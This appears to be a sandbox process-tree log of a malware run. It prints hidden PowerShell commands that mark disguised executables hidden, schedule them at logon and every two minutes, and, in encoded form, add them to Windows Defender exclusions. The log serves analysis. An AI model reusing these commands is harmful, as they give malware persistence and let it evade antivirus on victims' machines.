    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:8
    3⤵
    PID:976
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:8
    3⤵
    PID:1840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:8
    3⤵
    PID:6276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:8
    3⤵
    PID:2844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:8
    3⤵
    PID:7092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:8
    3⤵
    PID:6520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe" 2>nul'"
  2⤵
  PID:6108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6048
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe
      4⤵
      Views/modifies file attributes
      PID:5508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABQAHIAbwB0AG8AYwBvAGwAXABcAEgAbwBzAHQAXABcAFMAZQBhAHIAYwBoAFAAcgBvAHQAbwBjAG8AbAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAFAAcgBvAHQAbwBjAG8AbAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4468
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:808
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5180
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3804
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5232
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig" 2>nul'"
  2⤵
  PID:6180
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7020
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig
      4⤵
      Views/modifies file attributes
      PID:7040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAEwAQQBOAFwAXABBAHUAdABvAEMAbwBuAGYAaQBnACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe" 2>nul'"
  2⤵
  PID:5508
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3988
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe
      4⤵
      Views/modifies file attributes
      PID:6416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAEwAQQBOAFwAXABBAHUAdABvAEMAbwBuAGYAaQBnAFwAXABXAEwAQQBOAEEAdQB0AG8AQwBvAG4AZgBpAGcALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:7136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFcATABBAE4AQQB1AHQAbwBDAG8AbgBmAGkAZwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WLANAutoConfigSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7144
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WLANAutoConfigSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1880
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WLANAutoConfigSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WLANAutoConfigSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:7052
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WLANAutoConfigSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:3636
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WLANAutoConfigSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2072
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1252
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc
      4⤵
      Views/modifies file attributes
      PID:5292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAeQBwAHQAbwBcAFwAQwBlAHIAdABpAGYAaQBjAGEAdABlAFMAdgBjACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe" 2>nul'"
  2⤵
  PID:5352
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5692
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe
      4⤵
      Views/modifies file attributes
      PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAeQBwAHQAbwBcAFwAQwBlAHIAdABpAGYAaQBjAGEAdABlAFMAdgBjAFwAXABDAHIAeQBwAHQAbwBDAGUAcgB0AFMAdgBjAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMAcgB5AHAAdABvAEMAZQByAHQAUwB2AGMALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CertificatePropagation" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5888
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CertificatePropagation /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:860
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CertificatePropagation /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CertificatePropagation_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CertificatePropagation_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5868
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CertificatePropagation_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate" 2>nul'"
  2⤵
  PID:5808
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6252
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate
      4⤵
      Views/modifies file attributes
      PID:3164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAE8ATQBcAFwAUwB1AHIAcgBvAGcAYQB0AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:7096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe" 2>nul'"
  2⤵
  PID:3216
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3472
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe
      4⤵
      Views/modifies file attributes
      PID:7116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
